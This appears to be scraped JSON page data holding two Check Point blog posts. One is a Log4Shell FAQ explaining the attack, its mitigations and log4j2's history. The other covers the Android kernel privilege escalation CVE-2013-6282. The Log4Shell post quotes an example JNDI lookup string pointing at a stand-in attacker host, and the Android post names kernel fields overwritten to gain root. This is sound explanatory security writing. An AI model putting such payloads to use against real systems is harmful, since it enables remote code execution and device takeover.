\n\n\n\n\n

 

\n\n\n\n

How does an exploit for Log4Shell work exactly? What do “jndi” and “ldap” mean?

\n\n\n\n

JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.

\n\n\n\n

The log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware} means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...} attack variant has become a proper viral meme, there are milder variants of the attack such as e.g.  ${ jndi:dns://...} which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.

\n\n\n\n

As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating, and is reproduced below.

\n\n\n\n

\n\n\n\n

 

\n\n\n\n

How can I protect myself against Log4Shell?

\n\n\n\n

First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:

\n\n\n\n\n\n\n\n

Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense. 

\n\n\n\n

How and Why did this happen? How do we make sure it doesn’t happen again?

\n\n\n\n

The story goes more or less like this.

\n\n\n\n

In March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.

\n\n\n\n

8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times. 

\n\n\n\n
\"\"/
\n\n\n\n

Patches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:

\n\n\n\n
\n

Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns. https://t.co/W2u6AcBUM8

— Volkan Yazıcı (@yazicivo) December 10, 2021
\n
\n\n\n\n

Response is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.

\n\n\n\n

Natural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.

\n\n\n\n

The emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”

\n\n\n\n

 

\n\n\n\n

 

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2021/the-laconic-log4shell-faq/","tags":[],"score":0.20333802700042725,"topStoryDate":null},{"id":"214","type":"Blog_Publication","name":"The 2013 Android Vulnerability of the Year","author":"Ohad Bobrov","date":1386691811000,"description":"Were we to pick the most notorious 2013 Android vulnerability the dubious award would undoubtedly go to CVE-2013-6282. A privilege escalation flaw released in October and affects all Android versions 4.0-4.3. What makes this vulnerability so abysmal? After all, it hardly gained any press coverage and","content":"

\"razzie_awards_color\"

\n

Were we to pick the most notorious 2013 Android vulnerability – the dubious award would undoubtedly go to CVE-2013-6282. A privilege escalation flaw released in October and affects all Android versions 4.0-4.3.

\n

What makes this vulnerability so abysmal? After all, it hardly gained any press coverage and was mainly discussed in smaller highly technical and focused forums. However, both our research and that of fellow researchers, has proved that behind the scenes lies a basic operating system vulnerability that:

\n

1. Affects most devices running Android versions 4.0-4.3
\n Including Samsung Galaxy S3/4, Samsung Galaxy Note 2/3, Sony and Motorola. Essentially, affected devices include all Android devices running Linux Kernel 3.0-3.5.4
\n 2. Is exploitable through multiple local and remote attack vectors
\n Infection can be done through a remote access as well as through a cable or physical access. For example, exploitation means include:

\n\n

3. Enables root access to any application regardless of privilege level
\n As opposed to the popular MasterKey vulnerability – which enabled an attacker to receive Android system level permissions by installing an application posing as an existing system application but with suspicious permissions – this vulnerability gives the attacker more to leverage on. An exploit of this vulnerability can be run from any application, with any amount of permissions asked, say, a child’s game or a clock widget. The root permissions that the attacker gains with this vulnerability allows the attacker to remain persistent even after the malicious application is uninstalled, and bypass any additional security and container solutions.

\n

4. Allows the bypassing of SEAndroid – Android’s new security enhancement feature
\n The nature of the vulnerability allows an attacker to disable SELinux – the component that is the basis for SEAndroid (see the technicalities section for more information). Consequently, any Android app – with any level of privileges – can run root privileged code (i.e. this is the privilege escalation part). Similarly, it is highly likely that an exploit can bypass KNOX – Samsung’s security enhancement features. The reason is that the the KNOX implementation relies on SEAndroid access control and validation that the SEAndroid was not compromised. The validation of SEAndroid is checked by KNOX’s TrustZone component, and it is only a question of how easy it is to bypass it. Admittedly, we have not tested this against KNOX but our argument receives support by the fact that a patch for certain KNOX devices was rolled out.

\n

5. Corresponding exploits bypass various 3rd party security protections such as:
\n MDM, secure containers, wrappers protections, as well as mobile anti-virus (AV) and other signature-based technologies
\n Since this vulnerability can be exploited using a myriad of system calls there is no simple way to block the different possible exploits without fixing the security flaw. Additionally, signature analysis on applications will not be able to sign on all possible exploit possibilities.
\n Furthermore, such an exploit can easily lead the way to the installation of a mobile remote access trojans (mRAT) which can bypass MDM solutions, as we’ve demonstrated at Blackhat.

\n

6. Remains unpatched by most vendors
\n We do know that the official Google devices, branded as Nexus, running Android version 4.4 are patched. It is also seems that some Samsung Galaxy devices running Open Europe ROM are patched. What about the rest? It’s not clear which and when the devices were or will be patched.

\n

Some Technicalities

\n

Now that we’ve surfaced the severity of the vulnerability, it’s time to dive into the technical waters.

\n

The vulnerability exists in the Linux Kernel on ARM devices. In certain scenarios when the kernel copies data between user-space and kernel-space, certain checks are not enforced. This means that a normal application can read and write to/from arbitrary places in the kernel.

\n

A common way to exploit this vulnerability is to overwrite the uevent_helper field in the kernel. This field specifies which process the kernel is currently running in order to notify the user-space of hardware events. Although this field is generally not used by Android (a different mechanism is typically used for event notification), it usually remains active.

\n

Similarly, an attacker can exploit this vulnerability to disable SELinux. This is usually trivially done by overwriting the value of the selinux_enforcing field in the kernel.

\n

Predictions, Predictions, Predictions

\n

While many believed that SEAndroid would provide the adequate protection that enterprise users so desperately need, this vulnerability demonstrates that SEAndroid does not provide the silver bullet.

\n

Looking forward towards 2014, we can assume that Google will continue its work towards fortifying the Android operating system. Consequently, we believe that attackers will become more creative in their attempts to bypass SEAndroid. More so, we can expect to see more focus on other attack surfaces, especially:

\n\n

The post The 2013 Android Vulnerability of the Year appeared first on Check Point Blog.

\n","status":"PUBLISHED","fileName":"378062515","link":"http://blog.checkpoint.com/2013/12/10/the-2013-android-vulnerability-of-the-year/","tags":["CVE-2013-6282 (Android privilege escalation)"],"score":0.10592933744192123,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};